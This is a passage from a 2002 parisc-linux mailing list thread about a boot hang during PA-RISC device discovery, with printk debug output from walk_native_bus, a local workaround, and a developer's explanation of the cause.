1.3 i=16 hpa=0xf2010000
1.3 i=17 hpa=0xf2011000
1.3 i=18 hpa=0xf2012000
1.3 i=19 hpa=0xf2013000
1.3 i=20 hpa=0xf2014000
1.3 i=21 hpa=0xf2015000
1.3 i=22 hpa=0xf2016000
1.3 i=23 hpa=0xf2017000
1.3 i=24 hpa=0xf2018000
1.3 i=25 hpa=0xf2019000
1.3 i=26 hpa=0xf201a000
1.3 i=27 hpa=0xf201b000
1.3 i=28 hpa=0xf201c000
1.3 i=29 hpa=0xf201d000
1.3 i=30 hpa=0xf201e000
1.3 i=31 hpa=0xf201f000
1.3 i=32 hpa=0xf2020000
1.3 i=33 hpa=0xf2021000
1.3 i=34 hpa=0xf2022000
1.3 i=35 hpa=0xf2023000
1.3 i=36 hpa=0xf2024000
1.3 i=37 hpa=0xf2025000
1.3 i=38 hpa=0xf2026000
1.3 i=39 hpa=0xf2027000
1.3 i=40 hpa=0xf2028000
1.3 i=41 hpa=0xf2029000
1.3 i=42 hpa=0xf202a000
1.3 i=43 hpa=0xf202b000
1.3 i=44 hpa=0xf202c000
1.3 i=45 hpa=0xf202d000
1.3 i=46 hpa=0xf202e000
1.3 i=47 hpa=0xf202f000
1.3 i=48 hpa=0xf2030000
1.3 i=49 hpa=0xf2031000
1.3 i=50 hpa=0xf2032000
1.3 i=51 hpa=0xf2033000
1.3 i=52 hpa=0xf2034000
1.3 i=53 hpa=0xf2035000
1.3 i=54 hpa=0xf2036000
1.3 i=55 hpa=0xf2037000
1.3 i=56 hpa=0xf2038000
1.3 i=57 hpa=0xf2039000
1.3 i=58 hpa=0xf203a000
1.3 i=59 hpa=0xf203b000
1.3 i=60 hpa=0xf203c000
1.3 i=61 hpa=0xf203d000
1.3 i=62 hpa=0xf203e000
1.3 i=9 hpa=0xfff89000
1.3 i=10 hpa=0xfff8a000
1.4
1.1 low=0xf1000000 high=0xf2000000
1.2 i=0 hpa=0xf1000000
1.3 i=0 hpa=0xf1000000
1.3 i=1 hpa=0xf1001000
1.3 i=2 hpa=0xf1002000
1.3 i=3 hpa=0xf1003000
1.3 i=4 hpa=0xf1004000
1.3 i=5 hpa=0xf1005000
1.3 i=6 hpa=0xf1006000
1.3 i=7 hpa=0xf1007000
1.3 i=8 hpa=0xf1008000
1.3 i=9 hpa=0xf1009000
1.3 i=10 hpa=0xf100a000
1.3 i=11 hpa=0xf100b000
1.3 i=12 hpa=0xf100c000
1.3 i=13 hpa=0xf100d000
1.3 i=14 hpa=0xf100e000
1.3 i=15 hpa=0xf100f000
1.3 i=16 hpa=0xf1010000
1.3 i=17 hpa=0xf1011000
1.3 i=18 hpa=0xf1012000
1.3 i=19 hpa=0xf1013000
1.3 i=20 hpa=0xf1014000
1.3 i=21 hpa=0xf1015000
1.3 i=22 hpa=0xf1016000
1.3 i=23 hpa=0xf1017000
1.3 i=24 hpa=0xf1018000
1.3 i=25 hpa=0xf1019000
1.3 i=26 hpa=0xf101a000
1.3 i=27 hpa=0xf101b000
1.3 i=28 hpa=0xf101c000
1.3 i=29 hpa=0xf101d000
1.3 i=30 hpa=0xf101e000
1.3 i=31 hpa=0xf101f000
1.3 i=32 hpa=0xf1020000
1.3 i=33 hpa=0xf1021000
1.3 i=34 hpa=0xf1022000
1.3 i=35 hpa=0xf1023000
1.3 i=36 hpa=0xf1024000
1.3 i=37 hpa=0xf1025000
1.3 i=38 hpa=0xf1026000
1.3 i=39 hpa=0xf1027000
1.3 i=40 hpa=0xf1028000
1.3 i=41 hpa=0xf1029000
1.3 i=42 hpa=0xf102a000
1.3 i=43 hpa=0xf102b000
1.3 i=44 hpa=0xf102c000
1.3 i=45 hpa=0xf102d000
1.3 i=46 hpa=0xf102e000
1.3 i=47 hpa=0xf102f000
1.3 i=48 hpa=0xf1030000
1.3 i=49 hpa=0xf1031000
1.3 i=50 hpa=0xf1032000
1.3 i=51 hpa=0xf1033000
1.3 i=52 hpa=0xf1034000
1.3 i=53 hpa=0xf1035000
1.3 i=54 hpa=0xf1036000
1.3 i=55 hpa=0xf1037000
1.3 i=56 hpa=0xf1038000
1.3 i=57 hpa=0xf1039000
1.3 i=58 hpa=0xf103a000
1.3 i=59 hpa=0xf103b000
1.3 i=60 hpa=0xf103c000
1.3 i=61 hpa=0xf103d000
1.3 i=62 hpa=0xf103e000
1.2 i=0 hpa=0xf1040000
1.3 i=0 hpa=0xf1040000
1.3 i=1 hpa=0xf1041000
1.3 i=2 hpa=0xf1042000
1.3 i=3 hpa=0xf1043000
1.3 i=4 hpa=0xf1044000
1.3 i=5 hpa=0xf1045000
1.3 i=6 hpa=0xf1046000
1.3 i=7 hpa=0xf1047000
1.3 i=8 hpa=0xf1048000
1.3 i=9 hpa=0xf1049000
1.3 i=10 hpa=0xf104a000
1.3 i=11 hpa=0xf104b000
1.3 i=12 hpa=0xf104c000
1.3 i=13 hpa=0xf104d000
1.3 i=14 hpa=0xf104e000
1.3 i=15 hpa=0xf104f000
1.3 i=16 hpa=0xf1050000
1.3 i=17 hpa=0xf1051000
1.3 i=18 hpa=0xf1052000
1.3 i=19 hpa=0xf1053000
1.3 i=20 hpa=0xf1054000
1.3 i=21 hpa=0xf1055000
1.3 i=22 hpa=0xf1056000
1.3 i=23 hpa=0xf1057000
1.3 i=24 hpa=0xf1058000
1.3 i=25 hpa=0xf1059000
1.3 i=26 hpa=0xf105a000
1.3 i=27 hpa=0xf105b000
1.3 i=28 hpa=0xf105c000
1.3 i=29 hpa=0xf105d000
1.3 i=30 hpa=0xf105e000
1.3 i=31 hpa=0xf105f000
1.3 i=32 hpa=0xf1060000
1.3 i=33 hpa=0xf1061000
1.3 i=34 hpa=0xf1062000
1.3 i=35 hpa=0xf1063000
1.3 i=36 hpa=0xf1064000
1.3 i=37 hpa=0xf1065000
1.3 i=38 hpa=0xf1066000
1.3 i=39 hpa=0xf1067000
1.3 i=40 hpa=0xf1068000
1.3 i=41 hpa=0xf1069000
1.3 i=42 hpa=0xf106a000
1.3 i=43 hpa=0xf106b000
1.3 i=44 hpa=0xf106c000
1.3 i=45 hpa=0xf106d000
1.3 i=46 hpa=0xf106e000
1.3 i=47 hpa=0xf106f000
1.3 i=48 hpa=0xf1070000
1.3 i=49 hpa=0xf1071000
1.3 i=50 hpa=0xf1072000
1.3 i=51 hpa=0xf1073000
1.3 i=52 hpa=0xf1074000
1.3 i=53 hpa=0xf1075000
1.3 i=54 hpa=0xf1076000
1.3 i=55 hpa=0xf1077000
1.3 i=56 hpa=0xf1078000
1.3 i=57 hpa=0xf1079000
1.3 i=58 hpa=0xf107a000
1.3 i=59 hpa=0xf107b000
1.3 i=60 hpa=0xf107c000
1.3 i=61 hpa=0xf107d000
1.3 i=62 hpa=0xf107e000
1.3 i=63 hpa=0xf107f000
1.2 i=0 hpa=0xf1080000
1.3 i=0 hpa=0xf1080000
1.3 i=1 hpa=0xf1081000
1.3 i=2 hpa=0xf1082000
1.3 i=3 hpa=0xf1083000
1.3 i=4 hpa=0xf1084000
1.3 i=5 hpa=0xf1085000
1.3 i=6 hpa=0xf1086000
1.3 i=7 hpa=0xf1087000
1.3 i=8 hpa=0xf1088000
1.3 i=9 hpa=0xf1089000
1.3 i=10 hpa=0xf108a000
1.3 i=11 hpa=0xf108b000
1.3 i=12 hpa=0xf108c000
1.3 i=13 hpa=0xf108d000
1.3 i=14 hpa=0xf108e000
1.3 i=15 hpa=0xf108f000
1.3 i=16 hpa=0xf1090000
1.3 i=17 hpa=0xf1091000
1.3 i=18 hpa=0xf1092000
1.3 i=19 hpa=0xf1093000
1.3 i=20 hpa=0xf1094000
1.3 i=21 hpa=0xf1095000
1.3 i=22 hpa=0xf1096000
1.3 i=23 hpa=0xf1097000
1.3 i=24 hpa=0xf1098000
1.3 i=25 hpa=0xf1099000
1.3 i=26 hpa=0xf109a000
1.3 i=27 hpa=0xf109b000
1.3 i=28 hpa=0xf109c000
1.3 i=29 hpa=0xf109d000
1.3 i=30 hpa=0xf109e000
1.3 i=31 hpa=0xf109f000
1.3 i=32 hpa=0xf10a0000
1.3 i=33 hpa=0xf10a1000
1.3 i=34 hpa=0xf10a2000
1.3 i=35 hpa=0xf10a3000
1.3 i=36 hpa=0xf10a4000
1.3 i=37 hpa=0xf10a5000
1.3 i=38 hpa=0xf10a6000
1.3 i=39 hpa=0xf10a7000
1.3 i=40 hpa=0xf10a8000
1.3 i=41 hpa=0xf10a9000
1.3 i=42 hpa=0xf10aa000
1.3 i=43 hpa=0xf10ab000
1.3 i=44 hpa=0xf10ac000
1.3 i=45 hpa=0xf10ad000
1.3 i=46 hpa=0xf10ae000
1.3 i=47 hpa=0xf10af000
1.3 i=48 hpa=0xf10b0000
1.3 i=49 hpa=0xf10b1000
1.3 i=50 hpa=0xf10b2000
1.3 i=51 hpa=0xf10b3000
1.3 i=52 hpa=0xf10b4000
1.3 i=53 hpa=0xf10b5000
1.3 i=54 hpa=0xf10b6000
1.3 i=55 hpa=0xf10b7000
1.3 i=56 hpa=0xf10b8000
1.3 i=57 hpa=0xf10b9000
1.3 i=58 hpa=0xf10ba000
1.3 i=59 hpa=0xf10bb000
1.3 i=60 hpa=0xf10bc000
1.3 i=61 hpa=0xf10bd000
1.3 i=62 hpa=0xf10be000
1.3 i=63 hpa=0xf10bf000
1.2 i=0 hpa=0xf10c0000


I am not knowledeable enough to tell if the range to walk on is valid or not,
but it is way too  much for my config.

I wonder if this functin got the range correctly
void walk_lower_bus(struct parisc_device *dev)
{
        unsigned long io_io_low, io_io_high;

        if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
                return;

        io_io_low = ((unsigned long)(signed int)READ_IO_IO_LOW(dev) +
~FLEX_MASK
) & FLEX_MASK;
        io_io_high = ((unsigned long)(signed int)READ_IO_IO_HIGH(dev) +
~FLEX_MA
SK) & FLEX_MASK;

        walk_native_bus(io_io_low, io_io_high, dev);
}


For the time being I enforce

io_io_high=io_io_low+(MAX_NATIVE_DEVICES*NATIVE_DEVICE_OFFSET);

In the above function which as the effect of shortening the loop and boot ok.
Dunno if this hack make sense, may be I would loose some devices, but I don't
plan to add any anyway.

Phi


--
mailto:Philippe_Benard@hp.com [ HPS-SE HP-UX kernel debugging tools ]


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: 09 Oct 2002 08:05:29 -0600
Lines: 407
Approved: news@gmane.org
Message-ID: <1034172329.31713.16.camel@beavis>
References: <3DA2945D.7010301@visoel.de> 
	<3DA2E27B.5708975E@hpfrcu81.france.hp.com>
	<20021008170152.AD42D4839@dsl2.external.hp.com> 
	<3DA424C6.58F6806C@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621809 15217 80.91.229.3 (22 Nov 2014 02:03:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:29 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 08:05:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E11084829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 08:05:32 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2C4FE2E432; Wed,  9 Oct 2002 08:05:29 -0600 (MDT)
In-Reply-To: <3DA424C6.58F6806C@hpfrcu81.france.hp.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16423

*sigh*  

This is due to a change I made to detect devices on the E class systems.

Before we encountered the E Class systems, the devices were always at
the bottom of the range, but E Class put them at the top.  The function
will break out once a device is found ... it appears that your system
also has the devices towards the top of the io range.

post the contents of /proc/iomem and I can verify this for sure.  We
need to come up with a better way for discovering these devices.  

btw, what model system is this?

Thanks,

- Ryan


P.S. the reason it worked before is because it only walked the first
0 - 63 devices with in that range.  Not it walks the entire range
until it finds a device.


On Wed, 2002-10-09 at 06:44, phi wrote:
> Grant Grundler wrote:
> > The long delay happens during device discovery.
> > You could enable EARLY_BOOTUP_DEBUG in arch/parisc/kernel/pdc_cons.c
> > and add some printk's to the loop in system_map_inventory().
> > 
> > Only two pieces of code really get executed during that time.
> > One is the PDC calls - verify your firmware is the latest and if it
> > isn't, please update.  The other might be GSC buswalk code. I thought
> > the bus's under U2 are walked to detect devices not listed by PDC.
> > But I don't know exactly when that occurs in the boot sequence.
> > 
> > grant
> 
> My Firmware is
> 
> Firmware Version  5.2
> Duplex Console IO Dependent Code (IODC) revision 1
> Boot IO Dependent Code (IODC) revision 153
> 
> 
> Dunno if this is good enuff. At least it works for old kernel.
> 
> 
> ==================================================================
> 
> printk() into walk_native_bus() as follow shos this.
> 
> static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high,
>                             struct parisc_device *parent)
> {
>         int i, devices_found = 0;
>         unsigned long hpa = io_io_low;
>         struct hardware_path path;
> 
> printk("1.1 low=0x%08x high=0x%08x\n",io_io_low,io_io_high);
>         get_node_path(parent, &path);
>         do {
> printk("1.2 i=%d hpa=0x%08x\n",0,hpa);
>                 for (i = 0; i < MAX_NATIVE_DEVICES; i++, hpa +=
> NATIVE_DEVICE_OF
> FSET) {
>                         struct parisc_device *dev;
> 
>                         /* Was the device already added by Firmware? */
>                         dev = find_device_by_addr(hpa);
>                         if (!dev) {
>                                 path.mod = i;
> printk("1.3 i=%d hpa=0x%08x\n",i,hpa);
>                                 dev = alloc_pa_dev(hpa, &path);
>                                 if (!dev)
>                                         continue;
> 
> printk("1.4\n");
>                                 register_parisc_device(dev);
>                                 devices_found++;
>                         }
>                         walk_lower_bus(dev);
>                 }
>         } while (!devices_found && hpa < io_io_high);
> }
> 
> 1.1 low=0xfff80000 high=0xfffc0000
> 1.2 i=0 hpa=0xfff80000
> 1.3 i=0 hpa=0xfff80000
> 1.3 i=1 hpa=0xfff81000
> 1.3 i=2 hpa=0xfff82000
> 1.3 i=3 hpa=0xfff83000
> 1.3 i=4 hpa=0xfff84000
> 1.3 i=5 hpa=0xfff85000
> 1.3 i=6 hpa=0xfff86000
> 1.3 i=7 hpa=0xfff87000
> 1.3 i=8 hpa=0xfff88000
> 1.4
> 1.1 low=0xf2000000 high=0xf4000000
> 1.2 i=0 hpa=0xf2000000
> 1.3 i=1 hpa=0xf2001000
> 1.4
> 1.3 i=2 hpa=0xf2002000
> 1.3 i=3 hpa=0xf2003000
> 1.4
> 1.3 i=4 hpa=0xf2004000
> 1.3 i=5 hpa=0xf2005000
> 1.3 i=6 hpa=0xf2006000
> 1.3 i=7 hpa=0xf2007000
> 1.3 i=8 hpa=0xf2008000
> 1.3 i=9 hpa=0xf2009000
> 1.3 i=10 hpa=0xf200a000
> 1.3 i=11 hpa=0xf200b000
> 1.3 i=13 hpa=0xf200d000
> 1.3 i=14 hpa=0xf200e000
> 1.3 i=15 hpa=0xf200f000
> 1.3 i=16 hpa=0xf2010000
> 1.3 i=17 hpa=0xf2011000
> 1.3 i=18 hpa=0xf2012000
> 1.3 i=19 hpa=0xf2013000
> 1.3 i=20 hpa=0xf2014000
> 1.3 i=21 hpa=0xf2015000
> 1.3 i=22 hpa=0xf2016000
> 1.3 i=23 hpa=0xf2017000
> 1.3 i=24 hpa=0xf2018000
> 1.3 i=25 hpa=0xf2019000
> 1.3 i=26 hpa=0xf201a000
> 1.3 i=27 hpa=0xf201b000
> 1.3 i=28 hpa=0xf201c000
> 1.3 i=29 hpa=0xf201d000
> 1.3 i=30 hpa=0xf201e000
> 1.3 i=31 hpa=0xf201f000
> 1.3 i=32 hpa=0xf2020000
> 1.3 i=33 hpa=0xf2021000
> 1.3 i=34 hpa=0xf2022000
> 1.3 i=35 hpa=0xf2023000
> 1.3 i=36 hpa=0xf2024000
> 1.3 i=37 hpa=0xf2025000
> 1.3 i=38 hpa=0xf2026000
> 1.3 i=39 hpa=0xf2027000
> 1.3 i=40 hpa=0xf2028000
> 1.3 i=41 hpa=0xf2029000
> 1.3 i=42 hpa=0xf202a000
> 1.3 i=43 hpa=0xf202b000
> 1.3 i=44 hpa=0xf202c000
> 1.3 i=45 hpa=0xf202d000
> 1.3 i=46 hpa=0xf202e000
> 1.3 i=47 hpa=0xf202f000
> 1.3 i=48 hpa=0xf2030000
> 1.3 i=49 hpa=0xf2031000
> 1.3 i=50 hpa=0xf2032000
> 1.3 i=51 hpa=0xf2033000
> 1.3 i=52 hpa=0xf2034000
> 1.3 i=53 hpa=0xf2035000
> 1.3 i=54 hpa=0xf2036000
> 1.3 i=55 hpa=0xf2037000
> 1.3 i=56 hpa=0xf2038000
> 1.3 i=57 hpa=0xf2039000
> 1.3 i=58 hpa=0xf203a000
> 1.3 i=59 hpa=0xf203b000
> 1.3 i=60 hpa=0xf203c000
> 1.3 i=61 hpa=0xf203d000
> 1.3 i=62 hpa=0xf203e000
> 1.3 i=9 hpa=0xfff89000
> 1.3 i=10 hpa=0xfff8a000
> 1.4
> 1.1 low=0xf1000000 high=0xf2000000
> 1.2 i=0 hpa=0xf1000000
> 1.3 i=0 hpa=0xf1000000
> 1.3 i=1 hpa=0xf1001000
> 1.3 i=2 hpa=0xf1002000
> 1.3 i=3 hpa=0xf1003000
> 1.3 i=4 hpa=0xf1004000
> 1.3 i=5 hpa=0xf1005000
> 1.3 i=6 hpa=0xf1006000
> 1.3 i=7 hpa=0xf1007000
> 1.3 i=8 hpa=0xf1008000
> 1.3 i=9 hpa=0xf1009000
> 1.3 i=10 hpa=0xf100a000
> 1.3 i=11 hpa=0xf100b000
> 1.3 i=12 hpa=0xf100c000
> 1.3 i=13 hpa=0xf100d000
> 1.3 i=14 hpa=0xf100e000
> 1.3 i=15 hpa=0xf100f000
> 1.3 i=16 hpa=0xf1010000
> 1.3 i=17 hpa=0xf1011000
> 1.3 i=18 hpa=0xf1012000
> 1.3 i=19 hpa=0xf1013000
> 1.3 i=20 hpa=0xf1014000
> 1.3 i=21 hpa=0xf1015000
> 1.3 i=22 hpa=0xf1016000
> 1.3 i=23 hpa=0xf1017000
> 1.3 i=24 hpa=0xf1018000
> 1.3 i=25 hpa=0xf1019000
> 1.3 i=26 hpa=0xf101a000
> 1.3 i=27 hpa=0xf101b000
> 1.3 i=28 hpa=0xf101c000
> 1.3 i=29 hpa=0xf101d000
> 1.3 i=30 hpa=0xf101e000
> 1.3 i=31 hpa=0xf101f000
> 1.3 i=32 hpa=0xf1020000
> 1.3 i=33 hpa=0xf1021000
> 1.3 i=34 hpa=0xf1022000
> 1.3 i=35 hpa=0xf1023000
> 1.3 i=36 hpa=0xf1024000
> 1.3 i=37 hpa=0xf1025000
> 1.3 i=38 hpa=0xf1026000
> 1.3 i=39 hpa=0xf1027000
> 1.3 i=40 hpa=0xf1028000
> 1.3 i=41 hpa=0xf1029000
> 1.3 i=42 hpa=0xf102a000
> 1.3 i=43 hpa=0xf102b000
> 1.3 i=44 hpa=0xf102c000
> 1.3 i=45 hpa=0xf102d000
> 1.3 i=46 hpa=0xf102e000
> 1.3 i=47 hpa=0xf102f000
> 1.3 i=48 hpa=0xf1030000
> 1.3 i=49 hpa=0xf1031000
> 1.3 i=50 hpa=0xf1032000
> 1.3 i=51 hpa=0xf1033000
> 1.3 i=52 hpa=0xf1034000
> 1.3 i=53 hpa=0xf1035000
> 1.3 i=54 hpa=0xf1036000
> 1.3 i=55 hpa=0xf1037000
> 1.3 i=56 hpa=0xf1038000
> 1.3 i=57 hpa=0xf1039000
> 1.3 i=58 hpa=0xf103a000
> 1.3 i=59 hpa=0xf103b000
> 1.3 i=60 hpa=0xf103c000
> 1.3 i=61 hpa=0xf103d000
> 1.3 i=62 hpa=0xf103e000
> 1.2 i=0 hpa=0xf1040000
> 1.3 i=0 hpa=0xf1040000
> 1.3 i=1 hpa=0xf1041000
> 1.3 i=2 hpa=0xf1042000
> 1.3 i=3 hpa=0xf1043000
> 1.3 i=4 hpa=0xf1044000
> 1.3 i=5 hpa=0xf1045000
> 1.3 i=6 hpa=0xf1046000
> 1.3 i=7 hpa=0xf1047000
> 1.3 i=8 hpa=0xf1048000
> 1.3 i=9 hpa=0xf1049000
> 1.3 i=10 hpa=0xf104a000
> 1.3 i=11 hpa=0xf104b000
> 1.3 i=12 hpa=0xf104c000
> 1.3 i=13 hpa=0xf104d000
> 1.3 i=14 hpa=0xf104e000
> 1.3 i=15 hpa=0xf104f000
> 1.3 i=16 hpa=0xf1050000
> 1.3 i=17 hpa=0xf1051000
> 1.3 i=18 hpa=0xf1052000
> 1.3 i=19 hpa=0xf1053000
> 1.3 i=20 hpa=0xf1054000
> 1.3 i=21 hpa=0xf1055000
> 1.3 i=22 hpa=0xf1056000
> 1.3 i=23 hpa=0xf1057000
> 1.3 i=24 hpa=0xf1058000
> 1.3 i=25 hpa=0xf1059000
> 1.3 i=26 hpa=0xf105a000
> 1.3 i=27 hpa=0xf105b000
> 1.3 i=28 hpa=0xf105c000
> 1.3 i=29 hpa=0xf105d000
> 1.3 i=30 hpa=0xf105e000
> 1.3 i=31 hpa=0xf105f000
> 1.3 i=32 hpa=0xf1060000
> 1.3 i=33 hpa=0xf1061000
> 1.3 i=34 hpa=0xf1062000
> 1.3 i=35 hpa=0xf1063000
> 1.3 i=36 hpa=0xf1064000
> 1.3 i=37 hpa=0xf1065000
> 1.3 i=38 hpa=0xf1066000
> 1.3 i=39 hpa=0xf1067000
> 1.3 i=40 hpa=0xf1068000
> 1.3 i=41 hpa=0xf1069000
> 1.3 i=42 hpa=0xf106a000
> 1.3 i=43 hpa=0xf106b000
> 1.3 i=44 hpa=0xf106c000
> 1.3 i=45 hpa=0xf106d000
> 1.3 i=46 hpa=0xf106e000
> 1.3 i=47 hpa=0xf106f000
> 1.3 i=48 hpa=0xf1070000
> 1.3 i=49 hpa=0xf1071000
> 1.3 i=50 hpa=0xf1072000
> 1.3 i=51 hpa=0xf1073000
> 1.3 i=52 hpa=0xf1074000
> 1.3 i=53 hpa=0xf1075000
> 1.3 i=54 hpa=0xf1076000
> 1.3 i=55 hpa=0xf1077000
> 1.3 i=56 hpa=0xf1078000
> 1.3 i=57 hpa=0xf1079000
> 1.3 i=58 hpa=0xf107a000
> 1.3 i=59 hpa=0xf107b000
> 1.3 i=60 hpa=0xf107c000
> 1.3 i=61 hpa=0xf107d000
> 1.3 i=62 hpa=0xf107e000
> 1.3 i=63 hpa=0xf107f000
> 1.2 i=0 hpa=0xf1080000
> 1.3 i=0 hpa=0xf1080000
> 1.3 i=1 hpa=0xf1081000
> 1.3 i=2 hpa=0xf1082000
> 1.3 i=3 hpa=0xf1083000
> 1.3 i=4 hpa=0xf1084000
> 1.3 i=5 hpa=0xf1085000
> 1.3 i=6 hpa=0xf1086000
> 1.3 i=7 hpa=0xf1087000
> 1.3 i=8 hpa=0xf1088000
> 1.3 i=9 hpa=0xf1089000
> 1.3 i=10 hpa=0xf108a000
> 1.3 i=11 hpa=0xf108b000
> 1.3 i=12 hpa=0xf108c000
> 1.3 i=13 hpa=0xf108d000
> 1.3 i=14 hpa=0xf108e000
> 1.3 i=15 hpa=0xf108f000
> 1.3 i=16 hpa=0xf1090000
> 1.3 i=17 hpa=0xf1091000
> 1.3 i=18 hpa=0xf1092000
> 1.3 i=19 hpa=0xf1093000
> 1.3 i=20 hpa=0xf1094000
> 1.3 i=21 hpa=0xf1095000
> 1.3 i=22 hpa=0xf1096000
> 1.3 i=23 hpa=0xf1097000
> 1.3 i=24 hpa=0xf1098000
> 1.3 i=25 hpa=0xf1099000
> 1.3 i=26 hpa=0xf109a000
> 1.3 i=27 hpa=0xf109b000
> 1.3 i=28 hpa=0xf109c000
> 1.3 i=29 hpa=0xf109d000
> 1.3 i=30 hpa=0xf109e000
> 1.3 i=31 hpa=0xf109f000
> 1.3 i=32 hpa=0xf10a0000
> 1.3 i=33 hpa=0xf10a1000
> 1.3 i=34 hpa=0xf10a2000
> 1.3 i=35 hpa=0xf10a3000
> 1.3 i=36 hpa=0xf10a4000
> 1.3 i=37 hpa=0xf10a5000
> 1.3 i=38 hpa=0xf10a6000
> 1.3 i=39 hpa=0xf10a7000
> 1.3 i=40 hpa=0xf10a8000
> 1.3 i=41 hpa=0xf10a9000
> 1.3 i=42 hpa=0xf10aa000
> 1.3 i=43 hpa=0xf10ab000
> 1.3 i=44 hpa=0xf10ac000
> 1.3 i=45 hpa=0xf10ad000
> 1.3 i=46 hpa=0xf10ae000
> 1.3 i=47 hpa=0xf10af000
> 1.3 i=48 hpa=0xf10b0000
> 1.3 i=49 hpa=0xf10b1000
> 1.3 i=50 hpa=0xf10b2000
> 1.3 i=51 hpa=0xf10b3000
> 1.3 i=52 hpa=0xf10b4000
> 1.3 i=53 hpa=0xf10b5000
> 1.3 i=54 hpa=0xf10b6000
> 1.3 i=55 hpa=0xf10b7000
> 1.3 i=56 hpa=0xf10b8000
> 1.3 i=57 hpa=0xf10b9000
> 1.3 i=58 hpa=0xf10ba000
> 1.3 i=59 hpa=0xf10bb000
> 1.3 i=60 hpa=0xf10bc000
> 1.3 i=61 hpa=0xf10bd000
> 1.3 i=62 hpa=0xf10be000
> 1.3 i=63 hpa=0xf10bf000
> 1.2 i=0 hpa=0xf10c0000
> 
> 
> I am not knowledeable enough to tell if the range to walk on is valid or not,
> but it is way too  much for my config.
> 
> I wonder if this functin got the range correctly
> void walk_lower_bus(struct parisc_device *dev)
> {
>         unsigned long io_io_low, io_io_high;
> 
>         if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
>                 return;
> 
>         io_io_low = ((unsigned long)(signed int)READ_IO_IO_LOW(dev) +
> ~FLEX_MASK
> ) & FLEX_MASK;
>         io_io_high = ((unsigned long)(signed int)READ_IO_IO_HIGH(dev) +
> ~FLEX_MA
> SK) & FLEX_MASK;
> 
>         walk_native_bus(io_io_low, io_io_high, dev);
> }
> 
> 
> For the time being I enforce
> 
> io_io_high=io_io_low+(MAX_NATIVE_DEVICES*NATIVE_DEVICE_OFFSET);
> 
> In the above function which as the effect of shortening the loop and boot ok.
> Dunno if this hack make sense, may be I would loose some devices, but I don't
> plan to add any anyway.
> 
> Phi
> 
> 
> --
> mailto:Philippe_Benard@hp.com [ HPS-SE HP-UX kernel debugging tools ]
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] boot (micro) hang
Date: Wed, 9 Oct 2002 09:13:43 -0500
Lines: 482
Approved: news@gmane.org
Message-ID: <2B45A04D8F18D947A400F0850CE3B53B060DB4@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621809 15220 80.91.229.3 (22 Nov 2014 02:03:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:29 +0000 (UTC)
Cc: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>,
	"phi" <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 08:15:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 574914829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 08:15:51 -0600 (MDT)
Original-Received: from umr-mail7.umr.edu (umr-mail7.umr.edu [131.151.1.64]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id g99EDhGs014258; Wed, 9 Oct 2002 09:13:43 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
